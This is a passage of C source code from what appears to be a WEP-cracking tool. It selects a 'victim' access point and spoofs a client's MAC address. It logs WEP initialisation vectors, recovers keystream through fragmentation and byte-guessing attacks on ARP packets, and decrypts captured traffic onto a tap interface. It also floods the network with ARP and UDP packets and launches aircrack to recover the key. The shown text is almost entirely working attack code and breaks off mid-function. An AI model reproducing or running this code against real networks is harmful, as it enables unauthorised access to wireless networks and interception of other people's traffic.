1183	memcpy(ptr, wh->i_addr3, 6);
1184
1185	bodylen = rd - sizeof(*wh) - 4 - 4;
1186	decryptstate.clen = bodylen;
1187	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1188	if (!decryptstate.cipher) {
1189		perror("malloc()");
1190		exit(1);
1191	}
1192	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1193	if (!decryptstate.prgainfo.prga) {
1194		perror("malloc()");
1195		exit(1);
1196	}
1197
1198
1199	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1200	memcpy(decryptstate.prgainfo.iv, body, 3);
1201
1202	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1203	for(i = 0; i < (8+8+6); i++) {
1204		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1205						clear[i];
1206	}
1207
1208	decryptstate.prgainfo.len = i;
1209	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1210}
1211
1212void log_wep(unsigned char* body, int len) {
1213	unsigned char log[5];
1214	int rd;
1215
1216	if (body[3] != 0) {
1217		time_print("Key index=%x!!\n", body[3]);
1218		exit(1);
1219	}
1220
1221	memcpy(log, body, 3);
1222	memcpy(&log[3], &body[4], 2);
1223
1224	rd = write(weplog.fd, log, sizeof(log));
1225
1226	if (rd == -1) {
1227		perror("write()");
1228		exit(1);
1229	}
1230	if (rd != sizeof(log)) {
1231		time_print("short write %d out of %d\n", rd, sizeof(log));
1232		exit(1);
1233	}
1234
1235#if 0
1236	if (fsync(weplog.fd) == -1) {
1237		perror("fsync()");
1238		exit(1);
1239	}
1240#endif
1241
1242	memcpy(weplog.iv, body, 3);
1243	weplog.packets++;
1244}
1245
1246void try_dictionary(struct ieee80211_frame* wh, int len) {
1247	unsigned char *body;
1248	char path[52];
1249	char paths[3][3];
1250	int i;
1251	int fd, rd;
1252	unsigned char packet[4096];
1253	int dlen;
1254	struct ether_header* eh;
1255	uLong crc;
1256	unsigned long *pcrc;
1257	unsigned char* dmac, *smac;
1258
1259	assert (len < sizeof(packet) + sizeof(*eh));
1260
1261	body = (unsigned char*) wh + sizeof(*wh);
1262
1263	for (i = 0; i < 3; i++)
1264		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1265
1266	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1267
1268	fd = open(path, O_RDONLY);
1269	if (fd == -1)
1270		return;
1271
1272	rd = read(fd, &packet[6], sizeof(packet)-6);
1273	if (rd == -1) {
1274		perror("read()");
1275		exit(1);
1276	}
1277	close(fd);
1278
1279
1280	dlen = len - sizeof(*wh) - 4;
1281	if (dlen > rd) {
1282		printf("\n");
1283		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1284		dlen);
1285		return;
1286	}
1287
1288	body += 4;
1289	for (i = 0; i < dlen; i++)
1290		packet[6+i] ^= body[i];
1291
1292	dlen -= 4;
1293	crc = crc32(0L, Z_NULL, 0);
1294	crc = crc32(crc, &packet[6], dlen);
1295	pcrc = (unsigned long*) (&packet[6+dlen]);
1296
1297	if (*pcrc != crc) {
1298		printf("\n");
1299		time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1300			   path, *pcrc, crc);
1301		return;
1302	}
1303
1304	// fill ethernet header
1305	eh = (struct ether_header*) packet;
1306	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1307		smac = wh->i_addr3;
1308	else
1309		smac = wh->i_addr2;
1310
1311	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1312		dmac = wh->i_addr3;
1313	else
1314		dmac = wh->i_addr1;
1315
1316	memcpy(eh->ether_dhost, dmac, 6);
1317	memcpy(eh->ether_shost, smac, 6);
1318	// ether type should be there from llc
1319
1320	dlen -= 8; // llc
1321	dlen += sizeof(*eh);
1322
1323#if 0
1324	printf("\n");
1325	time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1326	hexdump(packet, dlen);
1327#endif
1328
1329	rd = write(tapfd, packet, dlen);
1330	if (rd == -1) {
1331		perror("write()");
1332		exit(1);
1333	}
1334	if (rd != dlen) {
1335		printf("Wrote %d / %d\n", rd, dlen);
1336		exit(1);
1337	}
1338}
1339
1340void got_wep(struct ieee80211_frame* wh, int rd) {
1341	int bodylen;
1342	int dlen;
1343	unsigned char *clear;
1344	int clearsize;
1345	unsigned char *body;
1346
1347	bodylen = rd - sizeof(struct ieee80211_frame);
1348
1349	dlen = bodylen - 4 - 4;
1350	body = (unsigned char*) wh + sizeof(*wh);
1351
1352
1353	// log it if its stuff not from us...
1354	if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1355	     ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1356	        memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1357
1358		log_wep(body, dlen + 8);
1359
1360		// try to decrypt too
1361		try_dictionary(wh, rd);
1362	}
1363
1364	// look for arp-request packets... so we can decrypt em
1365	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1366	    (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1367	    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1368	     (dlen == 36 || dlen == PADDED_ARPLEN) &&
1369	    !decryptstate.cipher &&
1370	    !netip) {
1371		decrypt_arpreq(wh, rd);
1372	}
1373
1374	// we have prga... check if its our stuff being relayed...
1375	if (prgainfo.len != 0) {
1376		// looks like it...
1377		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1378		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1379		    (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1380		    dlen == fragstate.len) {
1381
1382//			printf("I fink AP relayed it...\n");
1383			set_prga(body, &body[4], fragstate.data, dlen);
1384			free(fragstate.data);
1385			fragstate.data = 0;
1386			fragstate.waiting_relay = 0;
1387		}
1388
1389		// see if we get the multicast stuff of when decrypting
1390		if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1391		    (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1392		    (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1393		    dlen == 36) {
1394
1395			unsigned char pr = wh->i_addr1[5];
1396
1397			printf("\n");
1398			time_print("Got clear-text byte: %d\n",
1399			decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1400
1401			decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1402			decryptstate.prgainfo.len++;
1403			decryptstate.fragstate.waiting_relay = 1;
1404
1405			// ok we got the ip...
1406			if (decryptstate.prgainfo.len == 26+1) {
1407				unsigned char ip[4];
1408				int i;
1409				struct in_addr *in = (struct in_addr*) ip;
1410				unsigned char *ptr;
1411
1412				for (i = 0; i < 4; i++)
1413					ip[i] = decryptstate.cipher[8+8+6+i] ^
1414						decryptstate.prgainfo.prga[8+8+6+i];
1415
1416				assert(!netip);
1417				netip = (unsigned char*) malloc(16);
1418				if(!netip) {
1419					perror("malloc()");
1420					exit(1);
1421				}
1422
1423				memset(netip, 0, 16);
1424				strcpy(netip, inet_ntoa(*in));
1425
1426				time_print("Got IP=(%s)\n", netip);
1427				strcpy(myip, netip);
1428
1429				ptr = strchr(myip, '.');
1430				assert(ptr);
1431				ptr = strchr(ptr+1, '.');
1432				assert(ptr);
1433				ptr = strchr(ptr+1, '.');
1434				assert(ptr);
1435				strcpy(ptr+1,"123");
1436
1437				time_print("My IP=(%s)\n", myip);
1438
1439
1440				free(decryptstate.prgainfo.prga);
1441				free(decryptstate.cipher);
1442				memset(&decryptstate, 0, sizeof(decryptstate));
1443			}
1444		}
1445		return;
1446	}
1447
1448
1449	time_print("Datalen=%d Assuming: ", dlen);
1450	if (dlen == ARPLEN || dlen == PADDED_ARPLEN) {
1451		clear = arp_clear;
1452		clearsize = sizeof(arp_clear) - 1;
1453		printf("ARP\n");
1454	} else {
1455		clear = ip_clear;
1456		clearsize = sizeof(ip_clear) - 1;
1457		printf("IP\n");
1458	}
1459
1460	set_prga(body, &body[4], clear, clearsize);
1461}
1462
1463void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1464	int type,stype;
1465
1466	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1467	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1468
1469	if (type == IEEE80211_FC0_TYPE_DATA &&
1470	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1471		int dlen = rd - sizeof(struct ieee80211_frame);
1472
1473		if (state == SPOOF_MAC) {
1474			unsigned char mac[6];
1475			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1476				memcpy(mac, wh->i_addr3, 6);
1477			} else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1478				memcpy(mac, wh->i_addr1, 6);
1479			} else assert(0);
1480
1481			if (mac[0] == 0xff || mac[0] == 0x1)
1482				return;
1483
1484			memcpy(mymac, mac, 6);
1485			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1486			state = FOUND_VICTIM;
1487			return;
1488		}
1489
1490		// wep data!
1491		if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1492			got_wep(wh, rd);
1493		}
1494	}
1495}
1496
1497void anal(unsigned char* buf, int rd, int tx) { // yze
1498#define BIT(n)  (1<<(n))
1499	struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
1500	struct ieee80211_radiotap_header* rth;
1501	struct ieee80211_frame* wh;
1502	int type,stype;
1503	static int lastseq = -1;
1504	int seq;
1505	unsigned short *seqptr;
1506	int for_us = 0;
1507	uint32_t present;
1508	uint8_t rflags;
1509
1510	// BPF
1511	rd -= bpfh->bh_hdrlen;
1512	if (bpfh->bh_caplen != bpfh->bh_datalen) {
1513		time_print("Warning: caplen=%d datalen=%d\n",
1514		       bpfh->bh_caplen, bpfh->bh_datalen);
1515	}
1516
1517	if (rd != bpfh->bh_caplen) {
1518#if 0
1519	// XXX
1520		printf("Error: rd=%d caplen=%d\n", rd, bpfh->bh_caplen);
1521		hexdump(buf, rd+bpfh->bh_hdrlen);
1522//		exit(1);
1523		return;
1524#endif
1525		// XXX what's going on
1526		assert( rd > bpfh->bh_caplen);
1527		rd = bpfh->bh_caplen;
1528	}
1529
1530	// RADIOTAP
1531	rth = (struct ieee80211_radiotap_header*)
1532	      ((unsigned char*) bpfh + bpfh->bh_hdrlen);
1533        /* check if FCS/CRC is included in packet */
1534	present = le32toh(rth->it_present);
1535	if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
1536		if (present & BIT(IEEE80211_RADIOTAP_TSFT))
1537			rflags = ((const uint8_t *)rth)[8];
1538		else
1539			rflags = ((const uint8_t *)rth)[0];
1540	} else
1541		rflags = 0;
1542	/* 802.11 CRC */
1543	if (rflags & IEEE80211_RADIOTAP_F_FCS)
1544		rd -= IEEE80211_CRC_LEN;
1545
1546	// 802.11
1547	wh = (struct ieee80211_frame*)
1548	     ((unsigned char*)rth + rth->it_len);
1549	rd -= rth->it_len;
1550
1551	if (rd < 1) {
1552		time_print("rd=%d\n", rd);
1553		exit(1);
1554	}
1555
1556	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1557	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1558
1559	// sort out acks
1560	if (state >= FOUND_VICTIM) {
1561		// stuff for us
1562		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1563			for_us = 1;
1564			if (type != IEEE80211_FC0_TYPE_CTL)
1565				send_ack(tx);
1566		}
1567	}
1568
1569	// XXX i know it aint great...
1570	seqptr = (unsigned short*)  wh->i_seq;
1571	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1572	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1573	    type != IEEE80211_FC0_TYPE_CTL) {
1574//		printf("Ignoring dup packet... seq=%d\n", seq);
1575		return;
1576	}
1577	lastseq = seq;
1578
1579	// management frame
1580	if (type == IEEE80211_FC0_TYPE_MGT) {
1581		if(state == FIND_VICTIM) {
1582			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1583			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1584
1585			    	if (get_victim_ssid(wh, rd)) {
1586			    		return;
1587				}
1588			}
1589
1590		}
1591	}
1592
1593	if (state >= FOUND_VICTIM) {
1594		// stuff for us
1595		if (for_us) {
1596			stuff_for_us(wh, rd);
1597		}
1598
1599		// stuff in network [even for us]
1600		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1601			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1602
1603			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1604			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1605			   ) {
1606			stuff_for_net(wh, rd);
1607		}
1608	}
1609#undef BIT
1610}
1611
1612void do_arp(unsigned char* buf, unsigned short op,
1613	    unsigned char* m1, unsigned char* i1,
1614	    unsigned char* m2, unsigned char* i2) {
1615
1616        struct in_addr sip;
1617        struct in_addr dip;
1618	struct arphdr* h;
1619	unsigned char* data;
1620
1621        inet_aton(i1, &sip);
1622        inet_aton(i2, &dip);
1623	h = (struct arphdr*) buf;
1624
1625	memset(h, 0, sizeof(*h));
1626
1627	h->ar_hrd = htons(ARPHRD_ETHER);
1628        h->ar_pro = htons(ETHERTYPE_IP);
1629        h->ar_hln = 6;
1630        h->ar_pln = 4;
1631        h->ar_op = htons(op);
1632
1633	data = (unsigned char*) h + sizeof(*h);
1634
1635	memcpy(data, m1, 6);
1636	data += 6;
1637	memcpy(data, &sip, 4);
1638	data += 4;
1639
1640	memcpy(data, m2, 6);
1641	data += 6;
1642	memcpy(data, &dip, 4);
1643	data += 4;
1644}
1645
1646void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1647	unsigned char buf[4096];
1648	struct ieee80211_frame* wh;
1649	unsigned char* body;
1650	int fragsize;
1651	uLong crc;
1652	unsigned long *pcrc;
1653	int i;
1654	unsigned short* seq;
1655	unsigned short sn, fn;
1656
1657	wh = (struct ieee80211_frame*) buf;
1658	memcpy(wh, &fs->wh, sizeof(*wh));
1659
1660	body = (unsigned char*) wh + sizeof(*wh);
1661	memcpy(body, &pi->iv, 3);
1662	body += 3;
1663	*body++ = 0; // key index
1664
1665	fragsize = fs->data + fs->len - fs->ptr;
1666
1667	assert(fragsize > 0);
1668
1669	if ( (fragsize + 4) > pi->len) {
1670		fragsize = pi->len  - 4;
1671		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1672	}
1673	// last fragment
1674	else {
1675		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1676	}
1677
1678	memcpy(body, fs->ptr, fragsize);
1679
1680	crc = crc32(0L, Z_NULL, 0);
1681	crc = crc32(crc, body, fragsize);
1682	pcrc = (unsigned long*) (body+fragsize);
1683	*pcrc = crc;
1684
1685	for (i = 0; i < (fragsize + 4); i++)
1686		body[i] ^= pi->prga[i];
1687
1688	seq = (unsigned short*) &wh->i_seq;
1689	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1690	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1691//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1692
1693	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1694
1695	seq = (unsigned short*) &fs->wh.i_seq;
1696	*seq = fnseq(++fn, sn);
1697	fs->ptr += fragsize;
1698
1699	if (fs->ptr - fs->data == fs->len) {
1700//		printf("Finished sending frags...\n");
1701		fs->waiting_relay = 1;
1702	}
1703}
1704
1705void prepare_fragstate(struct frag_state* fs, int pad) {
1706	fs->waiting_relay = 0;
1707	fs->len = 8 + 8 + 20 + pad;
1708	fs->data = (unsigned char*) malloc(fs->len);
1709
1710	if(!fs->data) {
1711		perror("malloc()");
1712		exit(1);
1713	}
1714
1715	fs->ptr = fs->data;
1716
1717	do_llc(fs->data, ETHERTYPE_ARP);
1718	do_arp(&fs->data[8], ARPOP_REQUEST,
1719	       mymac, myip,
1720	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1721
1722	memset(&fs->wh, 0, sizeof(fs->wh));
1723	fill_basic(&fs->wh);
1724
1725	memset(fs->wh.i_addr3, 0xff, 6);
1726	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1727	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1728				IEEE80211_FC1_MORE_FRAG |
1729				IEEE80211_FC1_WEP;
1730
1731	memset(&fs->data[8+8+20], 0, pad);
1732}
1733
1734void discover_prga(int tx) {
1735
1736	// create packet...
1737	if (!fragstate.data) {
1738		int pad = 0;
1739
1740		if (prgainfo.len >= 20)
1741			pad = prgainfo.len*3;
1742
1743		prepare_fragstate(&fragstate, pad);
1744	}
1745
1746	if (!fragstate.waiting_relay) {
1747		send_fragment(tx, &fragstate, &prgainfo);
1748		if (fragstate.waiting_relay) {
1749			if (gettimeofday(&fragstate.last, NULL) == -1)
1750				err(1, "gettimeofday()");
1751		}
1752	}
1753}
1754
1755void decrypt(int tx) {
1756
1757	// gotta initiate
1758	if (!decryptstate.fragstate.data) {
1759		prepare_fragstate(&decryptstate.fragstate, 0);
1760
1761		memcpy(decryptstate.fragstate.wh.i_addr3,
1762		       MCAST_PREF, 5);
1763
1764		decryptstate.fragstate.wh.i_addr3[5] =
1765		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1766
1767		decryptstate.prgainfo.len++;
1768	}
1769
1770	// guess diff prga byte...
1771	if (decryptstate.fragstate.waiting_relay) {
1772		unsigned short* seq;
1773		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1774
1775#if 0
1776		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1777			printf("Can't decrpyt!\n");
1778			exit(1);
1779		}
1780#endif
1781		decryptstate.fragstate.wh.i_addr3[5] =
1782		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1783
1784		decryptstate.fragstate.waiting_relay = 0;
1785		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1786
1787		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1788		*seq = fnseq(0, txstate.psent);
1789	}
1790
1791	send_fragment(tx, &decryptstate.fragstate,
1792		      &decryptstate.prgainfo);
1793}
1794
1795void flood_inet(tx) {
1796	static int send_arp = -1;
1797	static unsigned char arp_pkt[128];
1798	static int arp_len;
1799	static unsigned char udp_pkt[128];
1800	static int udp_len;
1801	static struct timeval last_ip;
1802
1803	// need to init packets...
1804	if (send_arp == -1) {
1805		unsigned char* body;
1806		unsigned char* ptr;
1807		struct ieee80211_frame* wh;
1808		struct ip* ih;
1809		struct udphdr* uh;
1810
1811		memset(arp_pkt, 0, sizeof(arp_pkt));
1812		memset(udp_pkt, 0, sizeof(udp_pkt));
1813
1814		// construct ARP
1815		wh = (struct ieee80211_frame*) arp_pkt;
1816		fill_basic(wh);
1817
1818		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1819		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1820		memset(wh->i_addr3, 0xff, 6);
1821
1822		body = (unsigned char*) wh + sizeof(*wh);
1823		ptr = body;
1824		ptr += 4; // iv
1825
1826		do_llc(ptr, ETHERTYPE_ARP);
1827		ptr += 8;
1828		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1829		       "\x00\x00\x00\x00\x00\x00", netip);
1830
1831		wepify(body, 8+8+20);
1832		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1833		assert(arp_len < sizeof(arp_pkt));
1834
1835
1836		// construct UDP
1837		wh = (struct ieee80211_frame*) udp_pkt;
1838		fill_basic(wh);
1839
1840		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1841		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1842		memcpy(wh->i_addr3, rtrmac, 6);
1843
1844		body = (unsigned char*) wh + sizeof(*wh);
1845		ptr = body;
1846		ptr += 4; // iv
1847
1848		do_llc(ptr, ETHERTYPE_IP);
1849		ptr += 8;
1850
1851		ih = (struct ip*) ptr;
1852		ih->ip_hl = 5;
1853		ih->ip_v = 4;
1854		ih->ip_tos = 0;
1855		ih->ip_len = htons(20+8+5);
1856		ih->ip_id = htons(666);
1857		ih->ip_off = 0;
1858		ih->ip_ttl = 128;
1859		ih->ip_p = IPPROTO_UDP;
1860		ih->ip_sum = 0;
1861
1862		inet_aton(myip, &ih->ip_src);
1863		inet_aton(floodip, &ih->ip_dst);
1864
1865		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1866
1867		ptr += 20;
1868		uh = (struct udphdr*) ptr;
1869		uh->uh_sport = htons(floodsport);
1870		uh->uh_dport = htons(floodport);
1871		uh->uh_ulen = htons(8+5);
1872		uh->uh_sum = 0;
1873
1874		ptr += 8;
1875		strcpy(ptr, "sorbo");
1876
1877		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1878					  &ih->ip_dst);
1879
1880		wepify(body, 8+20+8+5);
1881		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1882		assert(udp_len < sizeof(udp_pkt));
1883
1884		// bootstrap
1885		send_arp = 1;
1886
1887		memset(&last_ip, 0, sizeof(last_ip));
1888	}
1889
1890	if (send_arp == 1) {
1891		struct timeval now;
1892		unsigned long sec;
1893
1894		if (gettimeofday(&now, NULL) == -1) {
1895			perror("gettimeofday()");
1896			exit(1);
1897		}
1898
1899		sec = now.tv_sec - last_ip.tv_sec;
1900
1901		if (sec < 5)
1902			return;
1903
1904		send_frame(tx, arp_pkt, arp_len);
1905		send_arp = 0;
1906	}
1907
1908	else if (send_arp == 0) {
1909		if (gettimeofday(&last_ip, NULL) == -1) {
1910			perror("gettimeofday()");
1911			exit(1);
1912		}
1913
1914		send_frame(tx, udp_pkt, udp_len);
1915		send_arp = 1;
1916	} else assert(0);
1917}
1918
1919void send_arp(int tx, unsigned short op, unsigned char* srcip,
1920	      unsigned char* srcmac, unsigned char* dstip,
1921	      unsigned char* dstmac) {
1922
1923	static unsigned char arp_pkt[128];
1924	unsigned char* body;
1925	unsigned char* ptr;
1926	struct ieee80211_frame* wh;
1927	int arp_len;
1928
1929	memset(arp_pkt, 0, sizeof(arp_pkt));
1930
1931	// construct ARP
1932	wh = (struct ieee80211_frame*) arp_pkt;
1933	fill_basic(wh);
1934
1935	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1936	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1937	memset(wh->i_addr3, 0xff, 6);
1938
1939	body = (unsigned char*) wh + sizeof(*wh);
1940	ptr = body;
1941	ptr += 4; // iv
1942
1943	do_llc(ptr, ETHERTYPE_ARP);
1944	ptr += 8;
1945	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1946
1947	wepify(body, 8+8+20);
1948	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1949	assert(arp_len < sizeof(arp_pkt));
1950
1951	send_frame(tx, arp_pkt, arp_len);
1952}
1953
1954void can_write(int tx) {
1955	static char arp_ip[16];
1956
1957	switch (state) {
1958		case FOUND_VICTIM:
1959			send_auth(tx);
1960			state = SENDING_AUTH;
1961			break;
1962
1963		case GOT_AUTH:
1964			send_assoc(tx);
1965			state = SENDING_ASSOC;
1966			break;
1967
1968		case GOT_ASSOC:
1969			if (prgainfo.prga && prgainfo.len < min_prga) {
1970				discover_prga(tx);
1971				break;
1972			}
1973
1974			if (decryptstate.cipher) {
1975				decrypt(tx);
1976				break;
1977			}
1978
1979			if (!prgainfo.prga)
1980				break;
1981
1982			if (taptx_len) {
1983				send_frame(tx, taptx, taptx_len);
1984				taptx_len = 0;
1985				break;
1986			}
1987
1988			// try to find rtr mac addr
1989			if (netip && !rtrmac) {
1990				char* ptr;
1991
1992				strcpy(arp_ip, netip);
1993				ptr = strchr(arp_ip, '.');
1994				assert(ptr);
1995				ptr = strchr(++ptr, '.');
1996				assert(ptr);
1997				ptr = strchr(++ptr, '.');
1998				assert(ptr);
1999				strcpy(++ptr, "1");
2000
2001				if (gettimeofday(&arpsend, NULL) == -1)
2002					err(1, "gettimeofday()");
2003
2004				time_print("Sending arp request for: %s\n", arp_ip);
2005				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2006					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2007
2008				// XXX lame
2009				rtrmac = (unsigned char*)1;
2010				break;
2011			}
2012
2013			// need to generate traffic...
2014			if (rtrmac > (unsigned char*)1 && netip) {
2015				if (floodip)
2016					flood_inet(tx);
2017				else {
2018					// XXX lame technique... anyway... im
2019					// only interested in flood_inet...
2020
2021					// could ping broadcast....
2022					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2023						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2024				}
2025
2026				break;
2027			}
2028
2029			break;
2030	}
2031}
2032
2033void try_crack() {
2034	if (crack_pid) {
2035		printf("\n");
2036		time_print("Warning... previous crack still running!\n");
2037		kill_crack();
2038	}
2039
2040	if (weplog.fd) {
2041		if (fsync(weplog.fd) == -1)
2042			err(1, "fsync");
2043	}
2044
2045	crack_pid = fork();
2046
2047	if (crack_pid == -1)
2048		err(1, "fork");
2049
2050	// child
2051	if (crack_pid == 0) {
2052		char bitz[16];
2053		char* args[] = { "aircrack", "wep.log", NULL };
2054		char* argb[] = { "aircrack", "-n", bitz, "wep.log", NULL };
2055		char* envp[] = { NULL };
2056		char **arg;
2057
2058#if 1
2059		if (setsid() == -1)
2060			err(1, "setsid");
2061#endif
2062
2063		close (1);
2064		close (2);
2065
2066		if (bits > 0) {
2067			snprintf(bitz, sizeof(bitz)-1, "%d", bits);
2068			arg = argb;
2069		}
2070		else
2071			arg = args;
2072
2073		/* NB: try local copy first; then installed dir */
2074		if (execve(CRACK_LOCAL_CMD, arg, envp) == -1) {
2075			if (errno != ENOENT)
2076				err(1, "execve(%s)", CRACK_LOCAL_CMD);
2077			if (execve(CRACK_INSTALL_CMD, arg, envp) == -1)
2078				err(1, "execve(%s)", CRACK_INSTALL_CMD);
2079		}
2080
2081		exit(1);
2082	}
2083
2084	// parent
2085	printf("\n");
2086	time_print("Starting crack PID=%d\n", crack_pid);
2087	if (gettimeofday(&crack_start, NULL) == -1)
2088		err(1, "gettimeofday");
2089
2090
2091	// XXX lame...
2092	if (wep_thresh == 3000000) {
2093		crack_dur *= 10;
2094		thresh_incr *= 10;
2095	}
2096	wep_thresh += thresh_incr;
2097}
2098
2099void open_tap() {
2100	struct stat st;
2101	int s;
2102	struct ifreq ifr;
2103	unsigned int flags;
2104
2105	tapfd = open(TAP_DEV, O_RDWR);
2106	if (tapfd == -1) {
2107		printf("Can't open tap: %s\n", strerror(errno));
2108		exit(1);
2109	}
2110	if(fstat(tapfd, &st) == -1) {
2111		perror("fstat()");
2112		exit(1);
2113	}
2114
2115	// feer
2116	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2117
2118	s = socket(PF_INET, SOCK_DGRAM, 0);
2119	if (s == -1) {
2120		perror("socket()");
2121		exit(1);
2122	}
2123
2124	// MTU
2125	memset(&ifr, 0, sizeof(ifr));
2126	strcpy(ifr.ifr_name, tapdev);
2127	ifr.ifr_mtu = 1500;
2128	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2129		perror("ioctl(SIOCSIFMTU)");
2130		exit(1);
2131	}
2132
2133	// set iface up
2134	memset(&ifr, 0, sizeof(ifr));
2135	strcpy(ifr.ifr_name, tapdev);
2136	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2137		perror("ioctl(SIOCGIFFLAGS)");
2138		exit(1);
2139	}
2140
2141	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2142	flags |= IFF_UP;
2143
2144	memset(&ifr, 0, sizeof(ifr));
2145	strcpy(ifr.ifr_name, tapdev);
2146	ifr.ifr_flags = flags & 0xffff;
2147	ifr.ifr_flagshigh = flags >> 16;
2148	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2149		perror("ioctl(SIOCSIFFLAGS)");
2150		exit(1);
2151	}
2152
2153	close(s);
2154	time_print("Opened tap device: %s\n", tapdev);
2155}
2156
2157void set_tap_mac(unsigned char* mac) {
2158	int s;
2159	struct ifreq ifr;
2160
2161	s = socket(PF_INET, SOCK_DGRAM, 0);
2162	if (s == -1) {
2163		perror("socket()");
2164		exit(1);
2165	}
2166
2167	memset(&ifr, 0, sizeof(ifr));
2168	strcpy(ifr.ifr_name, tapdev);
2169
2170	ifr.ifr_addr.sa_family = AF_LINK;
2171	ifr.ifr_addr.sa_len = 6;
2172	memcpy(ifr.ifr_addr.sa_data, mac, 6);
2173
2174	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
2175		perror("ioctl(SIOCSIFLLADDR)");
2176		exit(1);
2177	}
2178
2179	close(s);
2180	time_print("Set tap MAC to: %s\n", mac2str(mac));
2181}
2182
2183void read_tap() {
2184	unsigned char buf[4096];
2185	struct ether_header* eh;
2186	struct ieee80211_frame* wh;
2187	int rd;
2188	unsigned char* ptr, *body;
2189	int dlen;
2190
2191	rd = read(tapfd, buf, sizeof(buf));
2192	if (rd == -1) {
